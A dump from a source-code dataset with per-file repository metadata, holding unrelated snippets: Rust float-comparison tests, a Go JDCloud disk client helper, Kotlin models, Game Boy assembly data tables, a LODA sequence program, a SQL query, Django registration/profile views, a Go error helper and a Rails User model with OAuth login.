fn approx_distance_to(&self, other: &Self) -> f32;
fn approx_eq(&self, other: &Self) -> bool {
self.approx_eq_eps(other, DEFAULT_EPS)
}
fn approx_eq_eps(&self, other: &Self, eps: f32) -> bool {
self.approx_distance_to(other) <= eps
}
}
impl<T: Float> ApproxEq for T {
fn approx_distance_to(&self, other: &T) -> f32 {
(self.as_f32() - other.as_f32()).abs()
}
}
#[test]
fn test_approx_eq_f32() {
assert!(1.0_f32.approx_eq_eps(&1.1_f32, 0.15_f32));
assert!(23424.2143_f32.approx_eq(&23424.2143_f32));
assert!(!1.0_f32.approx_eq(&1.1_f32));
assert!(!24352.64_f32.approx_eq(&-54.0_f32));
assert!(!1.0_f32.approx_eq_eps(&2.0_f32, 0.5_f32));
}
#[test]
fn test_approx_eq_f64() {
assert!(1.0_f64.approx_eq_eps(&1.1_f64, 0.15_f32));
assert!(23424.2143_f64.approx_eq(&23424.2143_f64));
assert!(!1.0_f64.approx_eq(&1.1_f64));
assert!(!24352.64_f64.approx_eq(&-54.0_f64));
assert!(!1.0_f64.approx_eq_eps(&2.0_f64, 0.5_f32));
}
| 27.641026 | 61 | 0.640074 |
7ff9a2e5c4ef8da3a3a8f6fe42a7b6fdb515225f
| 919 |
go
|
Go
|
service/disk/client.go
|
xinyulu3344/jdcloud-cli
|
62307bf8b392ab2719fa1de046c76d174bd77ded
|
[
"Apache-2.0"
] | 1 |
2019-09-08T13:53:01.000Z
|
2019-09-08T13:53:01.000Z
|
service/disk/client.go
|
xinyulu3344/jdcloud-cli
|
62307bf8b392ab2719fa1de046c76d174bd77ded
|
[
"Apache-2.0"
] | null | null | null |
service/disk/client.go
|
xinyulu3344/jdcloud-cli
|
62307bf8b392ab2719fa1de046c76d174bd77ded
|
[
"Apache-2.0"
] | null | null | null |
package disk
import (
"jdcloud-cli/cli"
"jdcloud-cli/config"
"github.com/jdcloud-api/jdcloud-sdk-go/services/disk/client"
"github.com/jdcloud-api/jdcloud-sdk-go/core"
common "github.com/jdcloud-api/jdcloud-sdk-go/services/common/models"
disk "github.com/jdcloud-api/jdcloud-sdk-go/services/disk/models"
)
func GetProfile(ctx *cli.Context) config.Profile{
conf, err := config.LoadConfiguration()
if err != nil {
cli.Errorf(ctx.Writer(), "load configuration failed %s", err)
}
profile := conf.GetCurrentProfile(ctx)
return profile
}
func GetDiskClient(ctx *cli.Context) *client.DiskClient{
profile := GetProfile(ctx)
credentials := core.NewCredentials(profile.AccessKey, profile.SecretKey)
diskClient := client.NewDiskClient(credentials)
return diskClient
}
func Str2Filters(filtersStr string) (filters []common.Filter) {
return
}
func Str2Tags(tagsStr string) (tags []disk.TagFilter) {
return
}
| 25.527778 | 73 | 0.755169 |
e7edc0079eddd0fa525f22e2dcfc5b297dfeb4b1
| 238 |
kt
|
Kotlin
|
domain/src/main/java/vn/tiki/domain/model/DealModel.kt
|
nguyenhuynhdev/tiki-deal
|
4b9b4b1fbb31971f11315b9343ab5c4f6c5d66ab
|
[
"Apache-2.0"
] | null | null | null |
domain/src/main/java/vn/tiki/domain/model/DealModel.kt
|
nguyenhuynhdev/tiki-deal
|
4b9b4b1fbb31971f11315b9343ab5c4f6c5d66ab
|
[
"Apache-2.0"
] | null | null | null |
domain/src/main/java/vn/tiki/domain/model/DealModel.kt
|
nguyenhuynhdev/tiki-deal
|
4b9b4b1fbb31971f11315b9343ab5c4f6c5d66ab
|
[
"Apache-2.0"
] | null | null | null |
package vn.tiki.domain.model
import java.util.Date
data class DealModel(
val productName: String,
val productThumbnail: String,
val productPrice: Double,
val startedDate: Date,
val endDate: Date
)
| 21.636364 | 37 | 0.663866 |
1e54481c95987e81ce75161a46fe3bdb0277b21d
| 173 |
kt
|
Kotlin
|
src/main/kotlin/platform/configuration/Integration.kt
|
shybyte/acrolinx-sdk-kotlin
|
d09a1db372b118b8b1681487b887758edbcb3bc5
|
[
"Apache-2.0"
] | null | null | null |
src/main/kotlin/platform/configuration/Integration.kt
|
shybyte/acrolinx-sdk-kotlin
|
d09a1db372b118b8b1681487b887758edbcb3bc5
|
[
"Apache-2.0"
] | null | null | null |
src/main/kotlin/platform/configuration/Integration.kt
|
shybyte/acrolinx-sdk-kotlin
|
d09a1db372b118b8b1681487b887758edbcb3bc5
|
[
"Apache-2.0"
] | null | null | null |
package com.acrolinx.client.sdk.platform.configuration
import kotlinx.serialization.Serializable
@Serializable
class Integration(
val properties: Map<String, String>
)
| 21.625 | 54 | 0.820809 |
2ad0a51fadc1b8a756ad6162e866b02e5eca6ffd
| 557 |
asm
|
Assembly
|
data/cookies.asm
|
martendo7/cookie-shooter-gb
|
b733f227e154cf63392f85dd72ac79f39937135a
|
[
"MIT"
] | 3 |
2021-04-22T01:21:25.000Z
|
2021-05-30T21:17:52.000Z
|
data/cookies.asm
|
martendo/cookie-shooter-gb
|
b733f227e154cf63392f85dd72ac79f39937135a
|
[
"MIT"
] | 1 |
2021-05-13T00:30:35.000Z
|
2021-05-13T23:22:55.000Z
|
data/cookies.asm
|
martendo/cookie-shooter-gb
|
b733f227e154cf63392f85dd72ac79f39937135a
|
[
"MIT"
] | null | null | null |
INCLUDE "defines.inc"
SECTION "Cookie Data", ROM0
MACRO hitbox
; Y, H, X, W
DB (COOKIE_WIDTH - \1) / 2
DB \1
DB (COOKIE_HEIGHT - \1) / 2
DB \1
ENDM
CookieHitboxTable::
hitbox 12 ; COOKIE_SIZE_16
hitbox 10 ; COOKIE_SIZE_14
hitbox 8 ; COOKIE_SIZE_12
hitbox 6 ; COOKIE_SIZE_10
hitbox 4 ; COOKIE_SIZE_8
.end::
; Points values in BCD
CookiePointsTable::
DW $25 ; COOKIE_SIZE_16
DW $50 ; COOKIE_SIZE_14
DW $75 ; COOKIE_SIZE_12
DW $100 ; COOKIE_SIZE_10
DW $125 ; COOKIE_SIZE_8
.end::
| 19.206897 | 32 | 0.628366 |
739bb3c155193f9451efef576b088cf4e2e1198b
| 586 |
asm
|
Assembly
|
programs/oeis/336/A336475.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22 |
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/336/A336475.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41 |
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/336/A336475.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5 |
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A336475: Multiplicative with a(2^e) = 1, and for odd primes p, a(p^e) = (e+1)*p^e.
; 1,1,6,1,10,6,14,1,27,10,22,6,26,14,60,1,34,27,38,10,84,22,46,6,75,26,108,14,58,60,62,1,132,34,140,27,74,38,156,10,82,84,86,22,270,46,94,6,147,75,204,26,106,108,220,14,228,58,118,60,122,62,378,1,260,132,134,34,276,140,142,27,146,74,450,38,308,156,158,10,405,82,166,84,340,86,348,22,178,270,364,46,372,94,380,6,194,147,594,75
add $0,1
lpb $0
dif $0,2
lpe
mov $1,$0
seq $0,32741 ; a(0) = 0; for n > 0, a(n) = number of proper divisors of n (divisors of n which are less than n).
mul $0,$1
add $0,$1
| 48.833333 | 325 | 0.648464 |
0a12720d62cb4f2f38cff0c66cd9635f4f03bea0
| 69 |
sql
|
SQL
|
oci-test/tests/oci_identity_tenancy/test-hydrate-query.sql
|
turbot/steampipe-plugin-oci
|
cd534d4992835eb1c756ea93d54ed1a653f7874a
|
[
"Apache-2.0"
] | 14 |
2021-04-08T08:15:06.000Z
|
2022-03-23T16:07:49.000Z
|
oci-test/tests/oci_identity_tenancy/test-hydrate-query.sql
|
turbot/steampipe-plugin-oci
|
cd534d4992835eb1c756ea93d54ed1a653f7874a
|
[
"Apache-2.0"
] | 235 |
2021-04-02T14:39:36.000Z
|
2022-03-30T12:44:35.000Z
|
oci-test/tests/oci_identity_tenancy/test-hydrate-query.sql
|
turbot/steampipe-plugin-oci
|
cd534d4992835eb1c756ea93d54ed1a653f7874a
|
[
"Apache-2.0"
] | null | null | null |
select name, id, retention_period_days
from oci.oci_identity_tenancy;
| 34.5 | 38 | 0.869565 |
f019f56e66a32402b7c9862f91bbe2284661cc13
| 1,697 |
py
|
Python
|
users/views.py
|
Paulwamaria/instagram
|
546c5472bbebd868e647fd600519a91ccfc47054
|
[
"MIT"
] | null | null | null |
users/views.py
|
Paulwamaria/instagram
|
546c5472bbebd868e647fd600519a91ccfc47054
|
[
"MIT"
] | 4 |
2020-06-05T23:46:45.000Z
|
2021-06-10T19:06:27.000Z
|
users/views.py
|
Paulwamaria/instagram
|
546c5472bbebd868e647fd600519a91ccfc47054
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render,redirect
from django.contrib.auth.decorators import login_required
from .forms import InstaRegistrationForm, UserUpdateForm, ProfileUpdateForm
from django.views.generic import DetailView
from django.contrib.auth.mixins import LoginRequiredMixin
from django.contrib import messages
from .models import Profile
def register(request):
if request.method == 'POST':
form = InstaRegistrationForm(request.POST)
if form.is_valid():
form.save()
email = form.cleaned_data['email']
fullName = form.cleaned_data['fullName']
username = form.cleaned_data.get('username')
password1 = form.cleaned_data['password1']
password2 = form.cleaned_data['password2']
messages.success(request, f'Account created for {username}')
return redirect('home')
else:
form = InstaRegistrationForm()
return render(request, 'users/register.html', {'form': form})
@login_required
def profile(request):
if request.method == 'POST':
u_form = UserUpdateForm(request.POST,instance = request.user)
p_form = ProfileUpdateForm(request.POST,request.FILES,instance = request.user.profile)
if u_form.is_valid and p_form.is_valid():
u_form.save()
p_form.save()
else:
u_form = UserUpdateForm(instance = request.user)
p_form = ProfileUpdateForm(instance = request.user.profile)
context={
'u_form':u_form,
'p_form':p_form
}
return render(request, 'users/profile.html',context)
class ProfileDetailView(LoginRequiredMixin, DetailView):
model = Profile
| 33.27451 | 94 | 0.675899 |
7f1b8341f56ba3e24e50cfd092a80319fb5b2339
| 731 |
go
|
Go
|
errors.go
|
pebbe/util
|
64df444259992925ce368ddc1f4e589c713f7ba4
|
[
"BSD-2-Clause"
] | 124 |
2015-01-09T10:06:25.000Z
|
2022-03-18T15:44:39.000Z
|
errors.go
|
pebbe/util
|
64df444259992925ce368ddc1f4e589c713f7ba4
|
[
"BSD-2-Clause"
] | 46 |
2015-01-23T02:27:35.000Z
|
2019-09-16T14:45:41.000Z
|
errors.go
|
pebbe/util
|
64df444259992925ce368ddc1f4e589c713f7ba4
|
[
"BSD-2-Clause"
] | 31 |
2015-01-22T21:25:18.000Z
|
2021-08-15T03:38:56.000Z
|
package util
import (
"bytes"
"fmt"
"log"
"runtime"
)
func makeErr(err error, msg ...interface{}) string {
var b bytes.Buffer
_, filename, lineno, ok := runtime.Caller(2)
if ok {
b.WriteString(fmt.Sprintf("%v:%v: %v", filename, lineno, err))
} else {
b.WriteString(err.Error())
}
if len(msg) > 0 {
b.WriteString(",")
for _, m := range msg {
b.WriteString(fmt.Sprintf(" %v", m))
}
}
return b.String()
}
func CheckErr(err error, msg ...interface{}) {
if err != nil {
log.SetFlags(0)
log.Fatalln(makeErr(err, msg...))
}
}
func WarnErr(err error, msg ...interface{}) error {
if err != nil {
f := log.Flags()
log.SetFlags(0)
log.Println(makeErr(err, msg...))
log.SetFlags(f)
}
return err
}
| 17 | 64 | 0.606019 |
c67ec84c78b84934a8707bee82791cbb300e6431
| 1,899 |
rb
|
Ruby
|
app/models/user.rb
|
acrogenesis-lab/reporte-ciudadano
|
c8ed51abe98e2f043ee7b5aebcbf943b709a06a0
|
[
"MIT"
] | null | null | null |
app/models/user.rb
|
acrogenesis-lab/reporte-ciudadano
|
c8ed51abe98e2f043ee7b5aebcbf943b709a06a0
|
[
"MIT"
] | null | null | null |
app/models/user.rb
|
acrogenesis-lab/reporte-ciudadano
|
c8ed51abe98e2f043ee7b5aebcbf943b709a06a0
|
[
"MIT"
] | null | null | null |
class User < ActiveRecord::Base
# Setup accessible (or protected) attributes for your model
attr_accessible :email, :password, :password_confirmation, :remember_me, :username, :name
devise :database_authenticatable,
:recoverable, :rememberable, :trackable, :validatable, :registerable
devise :omniauthable, :omniauth_providers => [:facebook, :twitter]
has_many :authentications, dependent: :destroy
has_many :service_requests, as: :requester
has_many :comments, as: :commentable
acts_as_voter
before_save :fetch_twitter_avatar, if: :has_twitter_auth?
def self.create_with_omniauth(auth)
user = User.new(name: auth["info"]["name"], username: auth["info"]["nickname"], email: auth["info"]["email"], password: Devise.friendly_token[0,20])
authentication = user.authentications.build(provider: auth['provider'], uid: auth['uid'])
authentication.user = user
if auth.provider == "twitter"
user.save validate: false #we force the save as twitter does not provide an email
else
user.save
end
user
end
def to_s
self.name
end
def avatar_url(version = nil)
if self.authentications.pluck(:provider).include? "twitter"
self.avatar
elsif self.authentications.pluck(:provider).include? "facebook"
facebook_auth = self.authentications.where(provider: 'facebook').first
"https://graph.facebook.com/#{facebook_auth.uid}/picture"
else
Gravatar.new(self.email.to_s).image_url
end
end
def fetch_twitter_avatar
unless self.avatar?
auth = self.authentications.select { |authentication| authentication.provider == "twitter" }.first
image_url = Twitter.user(auth.uid.to_i).profile_image_url.sub("_normal", "")
self.avatar = image_url
end
end
private
def has_twitter_auth?
self.authentications.map(&:provider).include?("twitter")
end
end
| 30.629032 | 152 | 0.708794 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.